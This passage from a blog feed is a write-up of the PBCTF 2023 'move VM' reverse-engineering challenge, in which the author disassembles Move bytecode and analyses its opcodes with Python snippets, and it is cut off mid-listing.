      <comments>https://gss1.tistory.com/entry/SUITF#entry162comment</comments>
      <pubDate>Fri, 3 Mar 2023 09:33:44 +0900</pubDate>
    </item>
    <item>
      <title>PBCTF 2023 - rev(move VM)</title>
      <link>https://gss1.tistory.com/entry/PBCTF-2023-revmove-VM</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I thought that perfect blue CTF that sponsored by Zellic(web3) would release blockchain challenges&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However, the challenge turned out to be VM reversing.. :(&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://coinmarketcap.com/currencies/aptos/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://coinmarketcap.com/currencies/aptos/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I heard that Aptos was created by Facebook developers and was heavily promoted.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It seemed to use a different kind of VM compared to the traditional EVM and Sealevel, and Move was used in it.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anyway, we were given a VM and we had to analyze it to extract the flag.&lt;br /&gt;I had no idea how to start analyzing it, so I looked for a disassembler.&lt;br /&gt;Luckily,&amp;nbsp;I&amp;nbsp;found&amp;nbsp;it&amp;nbsp;on&amp;nbsp;the&amp;nbsp;Move&amp;nbsp;official&amp;nbsp;GitHub,&amp;nbsp;and&amp;nbsp;since&amp;nbsp;it&amp;nbsp;wasn't&amp;nbsp;installed&amp;nbsp;on&amp;nbsp;WSL,&amp;nbsp;I&amp;nbsp;ran&amp;nbsp;it&amp;nbsp;on&amp;nbsp;VMWare.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/move-language/move&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/move-language/move&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I tried &quot;move disassemble message.mv&quot; but it doesn't work.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ref)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://leoq7.com/2023/02/PBCTF-Move-VM/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://leoq7.com/2023/02/PBCTF-Move-VM/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/move-language/move/tree/main/language/tools/move-disassembler&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/move-language/move/tree/main/language/tools/move-disassembler&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/pr0cf5/move-bytecode-llvm-compiler/tree/main/compiler&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/pr0cf5/move-bytecode-llvm-compiler/tree/main/compiler&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/Knightz1/CTF/tree/main/pbctf_2022&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/Knightz1/CTF/tree/main/pbctf_2022&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We can modify the official Move code to enable disassembling. (It seems like other CTF teams did the same.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/8de518ec9ef364269776c04b349f8797&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kangsangsoo/8de518ec9ef364269776c04b349f8797&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;result of disassemble&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/2096d25bf2a500dd049e7f08faf6ee82&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kangsangsoo/2096d25bf2a500dd049e7f08faf6ee82&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;move's instructions&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/move-language/move/blob/main/language/move-vm/runtime/src/interpreter.rs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/move-language/move/blob/main/language/move-vm/runtime/src/interpreter.rs&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;B0&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The&amp;nbsp;check_flag&amp;nbsp;function&amp;nbsp;takes&amp;nbsp;Arg0&amp;nbsp;as&amp;nbsp;an&amp;nbsp;argument,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;and&amp;nbsp;checks&amp;nbsp;whether&amp;nbsp;its&amp;nbsp;length&amp;nbsp;equals&amp;nbsp;to&amp;nbsp;58,&amp;nbsp;which&amp;nbsp;is&amp;nbsp;the&amp;nbsp;length&amp;nbsp;of&amp;nbsp;the&amp;nbsp;flag.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;B2&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Assuming Arg is copied into a vector, we expect the following formula to hold true:&lt;br /&gt;If&amp;nbsp;we&amp;nbsp;solve&amp;nbsp;this&amp;nbsp;formula,&amp;nbsp;we&amp;nbsp;can&amp;nbsp;determine&amp;nbsp;that&amp;nbsp;the&amp;nbsp;flag&amp;nbsp;starts&amp;nbsp;with&amp;nbsp;&quot;pbctf{&quot;&amp;nbsp;and&amp;nbsp;ends&amp;nbsp;with&amp;nbsp;'}'.&lt;/p&gt;
&lt;pre id=&quot;code_1677221714445&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;(((vec[0] &amp;lt;&amp;lt; 48) | (vec[1] &amp;lt;&amp;lt; 40) | (vec[2] &amp;lt;&amp;lt; 32) | (vec[3] &amp;lt;&amp;lt; 24) | (vec[4] &amp;lt;&amp;lt; 16) | (vec[5] &amp;lt;&amp;lt; 8) | vec[length-1]) ^ 29670774015617385) == 7049012482871828&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;B4&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LdConst&amp;nbsp;instruction&amp;nbsp;is&amp;nbsp;used&amp;nbsp;to&amp;nbsp;convert&amp;nbsp;bytecode&amp;nbsp;to&amp;nbsp;a&amp;nbsp;vector.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The first two values of LdConst (252 and 1) are metadata.&lt;br /&gt;Starting from LdConst[2:], 64 bytes are packed, which creates 252 elements.&lt;br /&gt;Then,&amp;nbsp;initialize&amp;nbsp;index(loc44)&amp;nbsp;to&amp;nbsp;0.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;B5&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If&amp;nbsp;len(bytecodes)&amp;nbsp;&amp;lt;=&amp;nbsp;index,&amp;nbsp;the&amp;nbsp;function&amp;nbsp;exits.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;B7&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bytecode is an 8-byte size value.&lt;br /&gt;It is split into two 4-byte halves:&lt;br /&gt;opcode(loc43) = (bytecode &amp;gt;&amp;gt; 32) &amp;amp; 255&lt;br /&gt;arg(loc41)&amp;nbsp;=&amp;nbsp;bytecode&amp;nbsp;&amp;amp;&amp;nbsp;(2**32-1)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;112line ~&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Since&amp;nbsp;we&amp;nbsp;know&amp;nbsp;the&amp;nbsp;specific&amp;nbsp;opcodes&amp;nbsp;that&amp;nbsp;will&amp;nbsp;be&amp;nbsp;executed&amp;nbsp;based&amp;nbsp;on&amp;nbsp;the&amp;nbsp;packed&amp;nbsp;vector&amp;nbsp;produced&amp;nbsp;by&amp;nbsp;the&amp;nbsp;LdConst&amp;nbsp;instruction,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;we&amp;nbsp;don't&amp;nbsp;need&amp;nbsp;to&amp;nbsp;analyze&amp;nbsp;every&amp;nbsp;opcode&amp;nbsp;defined&amp;nbsp;in&amp;nbsp;the&amp;nbsp;VM.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We only need to focus on the opcodes that will be executed next.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1677222218608&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;LdConst = [252, 1, 1, 0, 0, 0, 0, 0, 0, 0, 30, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 57, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 57, 0, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 21, 0, 0, 0, 0, 0, 0, 0, 57, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 120, 59, 246, 255, 0, 0, 0, 0, 0, 0, 0, 0, 19, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 0, 0, 0, 0, 57, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0, 58, 0, 0, 0, 20, 0, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 57, 0, 0, 0, 0, 0, 0, 0, 56, 0, 0, 0, 0, 0, 0, 0, 57, 0, 0, 0, 0, 0, 0, 0, 67, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 7, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 8, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 9, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 250, 24, 177, 131, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 10, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 11, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 12, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 13, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 127, 123, 156, 239, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 14, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 15, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 16, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 159, 135, 179, 149, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 18, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 19, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 20, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 21, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 101, 155, 55, 49, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 22, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 24, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 25, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 171, 83, 202, 163, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 26, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 27, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 28, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 29, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 185, 145, 23, 145, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 30, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 31, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 32, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 33, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 161, 133, 218, 233, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 34, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 35, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 36, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 37, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 45, 118, 11, 90, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 38, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 39, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 40, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 41, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 1, 110, 10, 218, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 43, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 44, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 45, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 133, 137, 39, 72, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 47, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 48, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 49, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 190, 135, 104, 172, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 50, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 51, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 52, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 53, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 188, 209, 165, 38, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 54, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 55, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 56, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 57, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 238, 181, 61, 151, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 69, 0, 0, 0]

import struct
bytecodes = struct.unpack(&quot;&amp;lt;252Q&quot;, bytes(LdConst[2:]))

for i in range(len(bytecodes):
	bytecodes[i] = (bytecodes[i] &amp;gt;&amp;gt; 32) &amp;amp; 255

bytecodes = [0, 64, 57, 0, 57, 48, 0, 21, 57, 0, 19, 0, 17, 0, 16, 0, 19, 17, 57, 0, 16, 48, 0, 22, 58, 66, 57, 56, 57, 67, 0, 2, 17, 68, 2, 17, 68, 2, 17, 68, 2, 17, 68, 0, 23, 65, 255, 0, 2, 17, 68, 2, 17, 68, 2, 17, 68, 2, 17, 68, 0, 23, 65, 255, 0, 2, 17, 68, 2, 17, 68, 2, 17, 68, 2, 17, 68, 0, 23, 65, 255, 0, 2, 17, 68, 2, 17, 68, 2, 17, 68, 2, 17, 68, 0, 23, 65, 255, 0, 2, 17, 68, 2, 17, 68, 2, 17, 68, 2, 17, 68, 0, 23, 65, 255, 0, 2, 17, 68, 2, 17, 68, 2, 17, 68, 2, 17, 68, 0, 23, 65, 255, 0, 2, 17, 68, 2, 17, 68, 2, 17, 68, 2, 17, 68, 0, 23, 65, 255, 0, 2, 17, 68, 2, 17, 68, 2, 17, 68, 2, 17, 68, 0, 23, 65, 255, 0, 2, 17, 68, 2, 17, 68, 2, 17, 68, 2, 17, 68, 0, 23, 65, 255, 0, 2, 17, 68, 2, 17, 68, 2, 17, 68, 2, 17, 68, 0, 23, 65, 255, 0, 2, 17, 68, 2, 17, 68, 2, 17, 68, 2, 17, 68, 0, 23, 65, 255, 0, 2, 17, 68, 2, 17, 68, 2, 17, 68, 2, 17, 68, 0, 23, 65, 255, 0, 2, 17, 68, 2, 17, 68, 2, 17, 68, 2, 17, 68, 0, 23, 65, 255, 69]
print(set(bytecodes))&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1677222263541&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{0, 2, 16, 17, 19, 21, 22, 23, 48, 56, 57, 58, 64, 65, 66, 67, 68, 69, 255}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VM.py&lt;/p&gt;
&lt;pre id=&quot;code_1677222349356&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;
'''
StLoc(idx): pop하고 local[idx]에 저장

LdU64(value): value를 push

CopyLoc(idx): local[idx]를 push (복사)

moveLoc(idx): local[idx]를 push (이동)
'''

LdConst = [252, 1, 1, 0, 0, 0, 0, 0, 0, 0, 30, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 57, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 57, 0, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 21, 0, 0, 0, 0, 0, 0, 0, 57, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 120, 59, 246, 255, 0, 0, 0, 0, 0, 0, 0, 0, 19, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 0, 0, 0, 0, 57, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0, 58, 0, 0, 0, 20, 0, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 57, 0, 0, 0, 0, 0, 0, 0, 56, 0, 0, 0, 0, 0, 0, 0, 57, 0, 0, 0, 0, 0, 0, 0, 67, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 7, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 8, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 9, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 250, 24, 177, 131, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 10, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 11, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 12, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 13, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 127, 123, 156, 239, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 14, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 15, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 16, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 17, 0, 0, 0, 2, 